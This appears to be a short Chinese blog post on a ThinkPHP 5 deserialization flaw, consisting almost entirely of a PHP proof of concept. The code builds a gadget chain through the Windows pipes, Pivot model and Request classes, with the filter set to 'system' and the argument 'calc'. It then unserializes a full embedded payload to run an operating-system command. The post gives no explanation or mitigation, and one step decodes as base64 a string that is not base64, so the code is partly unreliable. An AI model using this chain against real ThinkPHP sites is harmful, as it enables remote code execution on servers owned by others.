ThinkPHP 反序列化漏洞

正文

https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/

https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

<?php

namespace app\index\controller;

use think\process\pipes\Windows;
use think\Request;
use think\Model\Pivot;

class Index {

    public function index() {

//        $ww = new Windows(1,null);
//        $file=new Pivot();
//        $rr=new Request();
//        $rr->hook(["append"=>array($rr,"isAjax")]);
//        $rr->param("calc");
//        $rr->filter("system");
//        $file->setAttr("exp",$rr);
//        $ww->setFiles([0=>$file]);
//        $data= serialize($ww);
//        return base64_encode($data);

        $json="O:27:"think\process\pipes\Windows":8:{s:34:" think\process\pipes\Windows files";a:1:{i:0;O:17:"think\model\Pivot":32:{s:6:"parent";N;s:21:" * autoWriteTimestamp";b:0;s:21:" think\Model isUpdate";b:0;s:18:" think\Model force";b:0;s:24:" think\Model updateWhere";N;s:13:" * connection";a:0:{}s:8:" * query";s:15:"\think\db\Query";s:7:" * name";s:5:"Pivot";s:8:" * table";N;s:7:" * auto";a:0:{}s:9:" * insert";a:0:{}s:9:" * update";a:0:{}s:16:" * queryInstance";N;s:5:" * pk";s:2:"id";s:8:" * field";a:0:{}s:9:" * disuse";a:0:{}s:11:" * readonly";a:0:{}s:7:" * type";a:0:{}s:17:" think\Model data";a:1:{s:3:"exp";O:13:"think\Request":36:{s:11:" * instance";N;s:9:" * config";O:12:"think\Config":2:{s:20:" think\Config config";a:9:{s:3:"app";a:55:{s:8:"app_name";s:0:"";s:8:"app_host";s:0:"";s:9:"app_debug";b:1;s:9:"app_trace";b:0;s:10:"app_status";s:0:"";s:16:"app_multi_module";b:1;s:16:"auto_bind_module";b:0;s:14:"root_namespace";a:0:{}s:19:"default_return_type";s:4:"html";s:19:"default_ajax_return";s:4:"json";s:21:"default_jsonp_handler";s:11:"jsonpReturn";s:17:"var_jsonp_handler";s:8:"callback";s:16:"default_timezone";s:3:"PRC";s:14:"lang_switch_on";b:0;s:14:"default_filter";s:0:"";s:12:"default_lang";s:5:"zh-cn";s:12:"class_suffix";b:0;s:17:"controller_suffix";b:0;s:14:"default_module";s:5:"index";s:16:"deny_module_list";a:1:{i:0;s:6:"common";}s:18:"default_controller";s:5:"Index";s:14:"default_action";s:5:"index";s:16:"default_validate";s:0:"";s:12:"empty_module";s:0:"";s:16:"empty_controller";s:5:"Error";s:17:"use_action_prefix";b:0;s:13:"action_suffix";s:0:"";s:22:"controller_auto_search";b:0;s:12:"var_pathinfo";s:1:"s";s:14:"pathinfo_fetch";a:3:{i:0;s:14:"ORIG_PATH_INFO";i:1;s:18:"REDIRECT_PATH_INFO";i:2;s:12:"REDIRECT_URL";}s:13:"pathinfo_depr";s:1:"/";s:16:"https_agent_name";s:0:"";s:15:"url_html_suffix";s:4:"html";s:16:"url_common_param";b:0;s:14:"url_param_type";i:0;s:14:"url_lazy_route";b:0;s:14:"url_route_must";b:0;s:20:"route_complete_match";b:0;s:16:"route_annotation";b:0;s:15:"url_domain_root";s:0:"";s:11:"url_convert";b:1;s:20:"url_controller_layer";s:10:"controller";s:10:"var_method";s:7:"_method";s:8:"var_ajax";s:0:"";s:8:"var_pjax";s:5:"_pjax";s:13:"request_cache";b:0;s:20:"request_cache_expire";N;s:20:"request_cache_except";a:0:{}s:21:"dispatch_success_tmpl";s:55:"D:\phpstudy\WWW\thinkphp\thinkphp/tpl/dispatch_jump.tpl";s:19:"dispatch_error_tmpl";s:55:"D:\phpstudy\WWW\thinkphp\thinkphp/tpl/dispatch_jump.tpl";s:14:"exception_tmpl";s:57:"D:\phpstudy\WWW\thinkphp\thinkphp/tpl/think_exception.tpl";s:13:"error_message";s:33:"页面错误！请稍后再试～";s:14:"show_error_msg";b:0;s:16:"exception_handle";s:0:"";s:17:"url_domain_deploy";b:0;}s:8:"template";a:9:{s:4:"type";s:5:"Think";s:9:"view_base";s:0:"";s:9:"view_path";s:0:"";s:11:"view_suffix";s:4:"html";s:9:"view_depr";s:1:"\";s:9:"tpl_begin";s:1:"{";s:7:"tpl_end";s:1:"}";s:12:"taglib_begin";s:1:"{";s:10:"taglib_end";s:1:"}";}s:3:"log";a:4:{s:4:"type";s:4:"File";s:5:"level";a:0:{}s:12:"record_trace";b:0;s:4:"path";s:0:"";}s:5:"trace";a:2:{s:4:"type";s:4:"Html";s:4:"file";s:52:"D:\phpstudy\WWW\thinkphp\thinkphp/tpl/page_trace.tpl";}s:5:"cache";a:4:{s:4:"type";s:4:"File";s:6:"prefix";s:0:"";s:6:"expire";i:0;s:4:"path";s:0:"";}s:7:"session";a:7:{s:2:"id";s:0:"";s:14:"var_session_id";s:0:"";s:6:"prefix";s:5:"think";s:4:"type";s:0:"";s:10:"auto_start";b:1;s:8:"httponly";b:1;s:6:"secure";b:0;}s:6:"cookie";a:7:{s:6:"prefix";s:0:"";s:6:"expire";i:0;s:4:"path";s:1:"/";s:6:"domain";s:0:"";s:6:"secure";b:0;s:8:"httponly";s:0:"";s:9:"setcookie";b:1;}s:8:"database";a:21:{s:4:"type";s:5:"mysql";s:3:"dsn";s:0:"";s:8:"hostname";s:9:"127.0.0.1";s:8:"database";s:0:"";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"hostport";s:0:"";s:6:"params";a:0:{}s:7:"charset";s:4:"utf8";s:6:"prefix";s:0:"";s:5:"debug";b:1;s:6:"deploy";i:0;s:11:"rw_separate";b:0;s:10:"master_num";i:1;s:8:"slave_no";s:0:"";s:13:"fields_strict";b:1;s:14:"resultset_type";s:5:"array";s:14:"auto_timestamp";b:0;s:15:"datetime_format";s:11:"Y-m-d H:i:s";s:11:"sql_explain";b:0;s:5:"query";s:15:"\think\db\Query";}s:8:"paginate";a:3:{s:4:"type";s:9:"bootstrap";s:8:"var_page";s:4:"page";s:9:"list_rows";i:15;}}s:20:" think\Config prefix";s:3:"app";}s:9:" * method";N;s:9:" * domain";N;s:12:" * panDomain";N;s:6:" * url";N;s:10:" * baseUrl";N;s:11:" * baseFile";N;s:7:" * root";N;s:11:" * pathinfo";N;s:7:" * path";N;s:12:" * routeInfo";a:0:{}s:11:" * dispatch";a:0:{}s:9:" * module";N;s:13:" * controller";N;s:9:" * action";N;s:10:" * langset";N;s:8:" * param";a:1:{i:0;s:4:"calc";}s:6:" * get";a:0:{}s:7:" * post";a:0:{}s:10:" * request";a:0:{}s:8:" * route";a:0:{}s:6:" * put";N;s:10:" * session";a:0:{}s:7:" * file";a:0:{}s:9:" * cookie";a:0:{}s:9:" * server";a:0:{}s:6:" * env";a:0:{}s:9:" * header";a:0:{}s:11:" * mimeType";a:12:{s:3:"xml";s:42:"application/xml,text/xml,application/x-xml";s:4:"json";s:62:"application/json,text/x-json,application/jsonrequest,text/json";s:2:"js";s:63:"text/javascript,application/javascript,application/x-javascript";s:3:"css";s:8:"text/css";s:3:"rss";s:19:"application/rss+xml";s:4:"yaml";s:28:"application/x-yaml,text/yaml";s:4:"atom";s:20:"application/atom+xml";s:3:"pdf";s:15:"application/pdf";s:4:"text";s:10:"text/plain";s:5:"image";s:71:"image/png,image/jpg,image/jpeg,image/pjpeg,image/gif,image/webp,image/*";s:3:"csv";s:8:"text/csv";s:4:"html";s:35:"text/html,application/xhtml+xml,*/*";}s:10:" * content";N;s:9:" * filter";s:6:"system";s:7:" * hook";a:1:{s:6:"append";a:2:{i:0;r:23;i:1;s:6:"isAjax";}}s:8:" * input";s:0:"";s:8:" * cache";N;s:15:" * isCheckCache";N;}}s:19:" think\Model origin";a:0:{}s:21:" think\Model relation";a:0:{}s:21:" think\Model together";N;s:16:" * relationWrite";N;s:13:" * createTime";s:11:"create_time";s:13:" * updateTime";s:11:"update_time";s:13:" * dateFormat";s:11:"Y-m-d H:i:s";s:10:" * visible";a:0:{}s:9:" * hidden";a:0:{}s:9:" * append";a:1:{s:3:"exp";a:1:{i:0;s:3:"aja";}}s:5:" * aa";s:0:"";s:16:" * resultSetType";s:5:"array";s:19:" think\Model parent";N;}}s:40:" think\process\pipes\Windows fileHandles";a:0:{}s:38:" think\process\pipes\Windows readBytes";a:2:{i:1;i:0;i:2;i:0;}s:42:" think\process\pipes\Windows disableOutput";b:1;s:5:"pipes";a:0:{}s:14:" * inputBuffer";N;s:8:" * input";N;s:34:" think\process\pipes\Pipes blocked";b:1;}";
        unserialize(base64_decode($json));
//return(base64_decode($json));


//        $ww->setFiles([0=>$file]);
//        $data= serialize($ww);
//        unserialize($data);

      //  call_user_func_array("call_user_func_array",array($this,"hello"));
//        $ww = new Windows(1, null);
//
//
//
//        $kk = new Pivot();
//        return $kk."";
//        //$data= serialize($ww);
//        $data = "TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjo4OntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjg6IkQ6XDEudHh0Ijt9czo0MDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlSGFuZGxlcyI7YTowOnt9czozODoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwByZWFkQnl0ZXMiO2E6Mjp7aToxO2k6MDtpOjI7aTowO31zOjQyOiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGRpc2FibGVPdXRwdXQiO2I6MTtzOjU6InBpcGVzIjthOjA6e31zOjE0OiIAKgBpbnB1dEJ1ZmZlciI7TjtzOjg6IgAqAGlucHV0IjtOO3M6MzQ6IgB0aGlua1xwcm9jZXNzXHBpcGVzXFBpcGVzAGJsb2NrZWQiO2I6MTt9";
//        $aa = base64_decode($data);
//        unserialize($aa);

//        $tt = new Request();
//        $method=array("dsds"=>array($tt,"isAjax"));
//        $tt->hook($method);
//        $tt->dsds(1);
        //return $aa;
    }

    public function hello($name = 'ThinkPHP5') {
        return 'hello,' . $name;
    }

}

• #Penetration Testing